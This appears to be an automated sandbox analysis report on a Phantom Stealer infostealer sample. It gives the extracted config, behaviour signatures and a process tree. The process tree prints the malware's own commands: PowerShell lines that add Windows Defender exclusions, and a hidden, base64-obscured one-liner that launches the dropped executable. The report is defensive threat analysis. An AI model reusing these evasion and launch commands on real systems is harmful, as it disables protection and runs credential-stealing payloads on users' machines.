Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 10:34

General

  • Target
    70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
  • Size 1.5MB
  • Sample260910-ml8nfabj2x
  • SHA256 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phantom_stealer

Version
  • v4.0.0

Credentials
  • Protocol

    smtp

  • Host

    hIMca0093UppXtKN/mON2cHh27ECiSK9WzvQWWncoylQAAAA1OiQyCPaNKIBuNMATgw2f0MrAi/6S6TcYOs6OdJr/N0WRcGTiigG+UX3pI+k8Zjr2IVIDHkD3pOYUFGqaOrpKPaIXvt6tutNueWWjs/yjEA/ptknErg0PxfJhs2dQ+M7k022Ii2vgaUYw6qI+2ZEqw==

  • Username

    mri623Q8f2x18lINx8v1Url++J2fxPQRcG/VCqE7R4VQAAAAEb596trDcHeg6HfDZgGa7eb+sQojSpSA5qd2P9EGad75R9fXqLCsaoQ4ju2WeG0GT2GTGF5UC9ad1Efb6jwtA+FdnUetArOSQNlrehWFM0+Uczz7TMYFf3/xT/iwjmslmUSVhvyx/T4RQn/qWERW/Q==

  • Password

    ElQKTgn9765GQS8y1hbyFruP7383rbVk+xcOQkLTA95QAAAAfiJKC2qBAQtTu6+P2EaFSD7TJCglnwmxiQERaBJ3U+pY44oJvfmw3154BmEPRg+LwCKLepHdU8vCqFGdxLaIt1yrjFUEBELan35RrAk/wi13AEej1RDfKgC9kT61GBnn

  • Email to

    NCbzzemS1CXXQRDxM2A6TY/EAkf5f0TqgX5yL/KN9fxQAAAAR+NAuPVNuRj53w8uc28dwbokcduswzANmhMZVpZQM1zch2nwH8SUs8BKcXJ/sJLLW52ZJHYtwn5ywaY9M63iAeEwM+TuiT3znpua2KKxXnl3cH9gdkHD4falFy45EsrRmcB0AghnjRiomuFHPjLT3g==

Credentials
  • Protocol

    ftp

  • Host

    0

  • Username

    0

  • Password

    0

Mutex
  • IN9Q8DV44047Y75LUT5K

Wallets
  • 0

Attributes
  • credit_cards

    true

  • enable_ssl

    true

  • passwords

    true

  • smtp_enabled

    true

Signatures

  • Family: PhantomStealer

    Phantom Stealer is a stealer written in C#, forked from the Stealerium family.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
    "C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3900
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2560
    • C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
      "C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      PID:352
  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$zkvq00=4912;$ldf11t=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1x2t2i=$env:COMPUTERNAME;$vn4zqh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFdqa1laQXlUVC5leGU=')));$1x2t2i=$env:COMPUTERNAME;& $ldf11t -FilePath $vn4zqh"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe
      "C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2276
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:768
      • C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe
        "C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"
        3⤵
        • Executes dropped EXE
        PID:3144
      • C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe
        "C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1140
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1292

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 d6d235e20b35ad4b1575b9fff29c38517e1d5aa4173fd7616bad6a587171d95c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_d1pne3nz.dwu.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1pne3nz.dwu.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          WjkYZAyTT.exe

          • Path C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe
          • Size 1.5MB
          • SHA256 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/352-46-0x0000000006820000-0x0000000006896000-memory.dmp

          memory/352-48-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/352-47-0x00000000068F0000-0x0000000006940000-memory.dmp

          memory/352-17-0x00000000053D0000-0x0000000005436000-memory.dmp

          memory/352-45-0x0000000006950000-0x0000000006B12000-memory.dmp

          memory/352-23-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/352-18-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/352-16-0x0000000000400000-0x000000000046A000-memory.dmp

          memory/768-55-0x0000000006990000-0x00000000069DC000-memory.dmp

          memory/768-56-0x0000000075990000-0x00000000759DC000-memory.dmp

          memory/768-59-0x00000000076C0000-0x0000000007763000-memory.dmp

          memory/1340-29-0x000001F82A770000-0x000001F82A792000-memory.dmp

          memory/2560-14-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/2560-26-0x0000000005F60000-0x0000000005FAC000-memory.dmp

          memory/2560-15-0x0000000005280000-0x00000000058CA000-memory.dmp

          memory/2560-13-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/2560-20-0x0000000005150000-0x00000000051B6000-memory.dmp

          memory/2560-19-0x00000000050B0000-0x00000000050D2000-memory.dmp

          memory/2560-12-0x0000000002510000-0x0000000002546000-memory.dmp

          memory/2560-38-0x0000000007720000-0x0000000007D9C000-memory.dmp

          memory/2560-25-0x00000000059F0000-0x0000000005A0E000-memory.dmp

          memory/2560-39-0x00000000070E0000-0x00000000070FA000-memory.dmp

          memory/2560-40-0x0000000007150000-0x000000000715A000-memory.dmp

          memory/2560-41-0x0000000007350000-0x00000000073E6000-memory.dmp

          memory/2560-36-0x0000000006360000-0x0000000006380000-memory.dmp

          memory/2560-44-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/2560-37-0x0000000006FA0000-0x0000000007043000-memory.dmp

          memory/2560-33-0x00000000714B0000-0x00000000714FC000-memory.dmp

          memory/2560-32-0x0000000006F30000-0x0000000006F66000-memory.dmp

          memory/3900-11-0x000000000A4C0000-0x000000000A5BE000-memory.dmp

          memory/3900-24-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/3900-0-0x00000000750D2000-0x00000000750D3000-memory.dmp

          memory/3900-10-0x000000000A9D0000-0x000000000AA6C000-memory.dmp

          memory/3900-9-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/3900-8-0x00000000750D2000-0x00000000750D3000-memory.dmp

          memory/3900-7-0x0000000007E60000-0x0000000007E80000-memory.dmp

          memory/3900-6-0x00000000750C0000-0x000000007587C000-memory.dmp

          memory/3900-5-0x0000000002DA0000-0x0000000002DAA000-memory.dmp

          memory/3900-4-0x0000000007D10000-0x0000000007DA2000-memory.dmp

          memory/3900-3-0x0000000008230000-0x00000000087EA000-memory.dmp

          memory/3900-2-0x0000000007860000-0x0000000007BBB000-memory.dmp

          memory/3900-1-0x00000000008E0000-0x0000000000A70000-memory.dmp